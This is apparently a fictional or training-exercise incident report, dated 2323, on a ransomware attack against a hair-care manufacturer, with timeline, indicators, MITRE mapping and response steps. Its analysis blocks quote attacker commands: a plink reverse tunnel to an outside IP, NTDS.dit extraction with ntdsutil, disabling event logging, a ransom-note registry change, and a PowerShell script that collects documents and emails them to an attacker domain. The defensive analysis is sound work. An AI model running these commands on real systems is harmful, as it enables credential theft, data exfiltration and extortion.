SECURITY INCIDENT REPORT

Madam C.J. Walker Manufacturing - Nemesis Kitten Ransomware Attack

CRITICAL - RANSOMWARE INCIDENT

Incident ID: MJWMFG-2323-NEMESIS
Report Date: August 15, 2323
Classification: CRITICAL - RANSOMWARE DEPLOYMENT
Attribution: Nemesis Kitten APT Group
Impact: 164 Encrypted Systems, Domain Admin Compromise, Data Exfiltration

Executive Summary

Madam C.J. Walker Manufacturing Company suffered a devastating ransomware attack orchestrated by the Nemesis Kitten APT group on July 31, 2323. The attack began with a sophisticated energy sector-themed phishing campaign, progressed through password spraying attacks, achieved domain administrator privileges, and culminated in the encryption of 164 employee workstations using BitLocker ransomware.

Critical Attack Summary

- **164 systems encrypted** with BitLocker ransomware
- **336 phishing emails** sent across energy-themed campaign
- **718 accounts targeted** in password spraying attack (46 compromised)
- **Domain admin privileges obtained** via teberry_domain_admin account
- **NTDS.dit database stolen** containing all domain credentials
- **Research data exfiltrated** as ScooterEnergyResearch.zip
- **Ransom contact:** killmonger@onionmail.org

🚨 Ransomware Deployment Details

Ransom Message: "Your drives are Encrypted! Contact us immediately: killmonger@onionmail.org"

> **Registry Modification:** HKLM\SOFTWARE\Policies\Microsoft\FVE
>
> **First Victim:** Dan Haley (Warehouse Supervisor) - XOGC-DESKTOP
>
> **Attack Window:** July 31, 2323 12:26:52 - 15:56:33 UTC

🎯 Nemesis Kitten Attribution Confirmed

APT Group: Nemesis Kitten (Iranian-linked cybercriminal group)

Known TTPs: BitLocker ransomware, energy sector targeting, tunneling tools

Signature Tools: Plink tunneling, dllhost proxy, scheduled task persistence

Campaign Theme: Energy sector disruption and renewable energy investment

Attack Timeline & Phases

Phase 1: Initial Compromise (June 2323)

June 22, 2323 - 11:33:58 UTC

Initial Foothold: Billie Harrell's machine (biharell) compromised
Method: Unknown initial vector (likely phishing or credential stuffing)

Phase 2: Energy Sector Phishing Campaign (July 2323)

July 26, 2323 - 11:47:24 UTC

Phishing Campaign Launch: Dan Haley receives first malicious email
Sender: org_competition@yandex.com
Subject: "[EXTERNAL] FW: Critical: Energy Supply Chain Disruption Alert"
Payload URL:
https://renewableenergy.com/public/share/published/Renewable_Energy_Investment.docx

Phase 3: Password Spraying Campaign

- **Accounts Targeted:** 718 total accounts
- **Success Rate:** 46 accounts compromised (6.4%)
- **User Agent:** Firefox 69.0
- **Critical Success:** jodrahota account compromise

Phase 4: Privilege Escalation & Persistence

July 2323 (Post-Password Spray)

Domain Admin Compromise: teberry_domain_admin account accessed via jodrahota
NTDS Database Theft: ntdsutil command executed to steal domain credentials
Persistence: Scheduled task "IsThisYourKing" created for ggwp.exe

Phase 5: Ransomware Deployment

July 31, 2323 - 12:26:52 UTC

Ransomware Launch: First ransom note appears on XOGC-DESKTOP (Dan Haley)
BitLocker Enablement: PowerShell command enables BitLocker on target systems
Log Disruption: Event logging disabled to hide activities
Mass Encryption: 164 systems encrypted within ~3.5 hours

Technical Attack Analysis

Phishing Infrastructure

Nemesis Kitten deployed an extensive phishing infrastructure themed around energy sector disruption:

Email Senders (5 Total)

- org.supplychain@protonmail.com
- org_competition@yandex.com
- competition@verizon.com
- competition_powergrid@protonmail.com
- org@yandex.com

Malicious Domains (22 Total)

Primary Domains	Secondary Domains	Tertiary Domains
renewableenergy.com	gridcritical.net	solutions-renewable.org
solutionspower.org	gridpower.com	solutions-critical.com
powersystems.org	renewable-critical.com	renewable-grid.net
solutions-energy.net	solutions-power.net	grid-systems.net
energy-systems.org	gridpower.net	-
gridsystems.org	energy-power.net	-
energy-power.com	grid-power.net	-
criticalpower.com	-	-

Malware Analysis

```
# Primary Payload File: Renewable_Energy_Investment.docx SHA256:
31beba2309b31bf6523431e5f8859ce33cb889d10e02ad93ce7cb25fa6368ec7 Source:
https://renewableenergy.com/public/share/published/ # Tunneling Tool (Plink) Command:
"powershell.exe" /c echo y | plink.exe -N -T -R 0.0.0.0:1251:127.0.0.1:3389 102.17.151.174 -
P 22 -l forward -pw Socks@123 -no-antispoof # Proxy Tool (FRP - Fast Reverse Proxy) File:
dllhost.exe SHA256: e3eac25c3beb77ffed609c53b447a81ec8a0e20fb94a6442a51d72ca9e6f7cd2
Detection: Fortinet - Riskware/Frp Location:
C:\ProgramData\Microsoft\Windows\DllHost\dllhost.exe # BitLocker Ransomware Deployment
PowerShell: Install-WindowsFeature BitLocker IncludeAllSubFeature -IncludeManagementTools -
Restart Registry: reg add HKLM\SOFTWARE\Policies\Microsoft\FVE /v RecoveryKeyMessage /t
REG_SZ /d " +-+-+- Your drives are Encrypted! Contact us immediately:
killmonger@onionmail.org -+-+-+" /f
```

Persistence Mechanisms

```
# Scheduled Task Creation schtasks /create /sc hourly /tn "IsThisYourKing" /tr
"C:\\Windows\\Temp\\ggwp.exe" /ru SYSTEM # Directory Creation for Proxy Tool mkdir
C:\ProgramData\Microsoft\Windows\DllHost\ move /Y dllhost.exe
C:\ProgramData\Microsoft\Windows\DllHost\dllhost.exe # Event Log Disruption net stop
eventlog /y
```

Credential Harvesting

```
# NTDS.dit Database Extraction ntdsutil "ac i ntds" "ifm" "create full
C:\Windows\Temp\Ntds_dit" q q # Domain Admin Account Chain Initial Compromise: jodrahota
(via password spray) ↓ Privilege Escalation: teberry_domain_admin ↓ Domain Controller
Access: Full AD database extraction
```

Data Exfiltration Analysis

Stolen Research Data

```
# Data Collection Command (Base64 Decoded) Get-ChildItem -Recurse -Force -ErrorAction
SilentlyContinue -Filter *.docx,*.ppt,*.pdf,*.xlsx | ForEach-Object {Copy-Item $_.FullName
"C:\ScooterEnergyResearch"} # Data Compression Command (Base64 Decoded) Compress-Archive -
Path "C:\ScooterEnergyResearch" -DestinationPath "C:\ScooterEnergyResearch.zip" -Force #
Email Exfiltration Command (Base64 Decoded) Send-MailMessage -From "isthisyourking@endtimes-
apocalypse.net" -To "isthisyourking@endtimes-apocalypse.net" -Subject "Game Set Match" -Body
"See attached for goodies" -Attachments "C:\ScooterEnergyResearch.zip"
```

Exfiltration Summary

- **Archive Name:** ScooterEnergyResearch.zip
- **File Types:** .docx, .ppt, .pdf, .xlsx documents
- **Exfiltration Method:** Email via endtimes-apocalypse.net
- **Subject Line:** "Game Set Match"
- **Compromised Hosts:** 4 systems used for data collection

Phishing Campaign Analysis

Campaign Statistics

- **Total Emails Sent:** 336
- **Emails Delivered:** 305
- **Distinct Subjects:** 15 energy/power themed subjects
- **Target Selection:** Energy sector personnel, warehouse supervisors
- **Success Rate:** High engagement due to sector-relevant themes

Social Engineering Themes

- [EXTERNAL] Executive Meeting Rescheduled - Important Update.
- [EXTERNAL] Critical: Energy Supply Chain Disruption Alert.
- [EXTERNAL] Confidential: Vulnerability Assessment Results.
- [EXTERNAL] High-Priority Message: Power Grid Security.
- [EXTERNAL] Renewable Energy Investment Opportunity.
- [EXTERNAL] Action Required: Security Update for Power Grid.
- [EXTERNAL] Urgent: Emergency Response Plan Activation.

Document Lures

- Emergency_Response_Plan.docx
- Renewable_Energy_Investment.docx
- Energy_Supply_Report.docx
- Infrastructure_Vulnerabilities.docx
- Executive_Meeting_Minutes.docx
- Urgent_Security_Update.docx

Compromised Personnel

Dan Haley

Role: Warehouse Supervisor
Hostname: XOGC-DESKTOP
Status: First ransomware victim, initial phishing target
Email Received: July 26, 2323 - 11:47:24 UTC
Impact: Downloaded malicious document, enabled system compromise

Billie Harrell (biharell)

Status: Initial system compromise
Compromise Date: June 22, 2323 - 11:33:58 UTC
Impact: Machine used for leveraging domain admin credentials
Role: Stepping stone for privilege escalation

jodrahota

Status: Compromised via password spraying
Impact: Used to compromise teberry_domain_admin account
Role: Critical link in privilege escalation chain

teberry_domain_admin

Role: Domain Administrator
Status: CRITICAL COMPROMISE
Impact: Full domain access, NTDS.dit extraction, ransomware deployment
Compromise Method: Lateral movement from jodrahota account

MITRE ATT&CK Framework Mapping

Tactic	Technique	Nemesis Kitten Implementation
Initial Access	T1566.001 - Spearphishing Attachment	Energy sector-themed Word documents
Credential Access	T1110.003 - Password Spraying	718 accounts targeted, 46 compromised
Credential Access	T1003.003 - NTDS	ntdsutil extraction of domain database
Persistence	T1053.005 - Scheduled Task	"IsThisYourKing" hourly task for ggwp.exe
Command and Control	T1572 - Protocol Tunneling	Plink SSH tunneling to 102.17.151.174
Command and Control	T1090 - Proxy	FRP (dllhost.exe) reverse proxy
Collection	T1005 - Data from Local System	Office documents collection script
Exfiltration	T1041 - Exfiltration Over C2	Email exfiltration via endtimes-apocalypse.net
Impact	T1486 - Data Encrypted for Impact	BitLocker ransomware deployment
Defense Evasion	T1562.002 - Disable Windows Event Logging	net stop eventlog /y command

Critical Response Actions

IMMEDIATE (0-4 hours)

- **Ransom Response:** DO NOT contact killmonger@onionmail.org - engage law enforcement
- **Network Isolation:** Disconnect all 164 affected systems from network
- **Domain Security:** Reset teberry_domain_admin and all privileged accounts
- **Infrastructure Blocking:** Block all 22+ malicious domains and 102.17.151.174 IP
- **Backup Assessment:** Verify integrity of all backup systems immediately
- **Incident Response:** Activate crisis management team and legal counsel

HIGH PRIORITY (4-48 hours)

- **Forensic Preservation:** Image all compromised systems before cleanup
- **Malware Removal:** Remove dllhost.exe, ggwp.exe, and scheduled tasks
- **Domain Rebuild:** Consider complete AD domain rebuild due to NTDS.dit compromise
- **Data Assessment:** Determine full extent of ScooterEnergyResearch.zip theft
- **Email Security:** Quarantine all energy-themed emails and block sender domains

- **Threat Hunting:** Search for additional Nemesis Kitten indicators

STRATEGIC (1-4 weeks)

- **Security Architecture:** Implement zero-trust model and network segmentation
- **Email Protection:** Deploy advanced anti-phishing with energy sector awareness
- **Endpoint Security:** Deploy EDR with BitLocker monitoring capabilities
- **Access Controls:** Implement privileged access management (PAM)
- **Staff Training:** Energy sector-specific phishing awareness program
- **Backup Strategy:** Implement immutable backups and offline storage

Business Impact Assessment

Operational Impact

- **Production Halt:** 164 encrypted workstations unable to perform duties
- **Manufacturing Disruption:** Hair care and beauty product production affected
- **Supply Chain:** Warehouse operations (Dan Haley) compromised
- **Research Loss:** Proprietary formulations and processes potentially stolen

Financial Implications

- **Recovery Costs:** System rebuild, forensic analysis, and security upgrades
- **Business Interruption:** Lost production time and revenue
- **Ransom Consideration:** Payment to killmonger@onionmail.org (NOT RECOMMENDED)
- **Legal Costs:** Regulatory compliance and potential litigation

Reputational Risk

- **Customer Trust:** Beauty product customers concerned about data security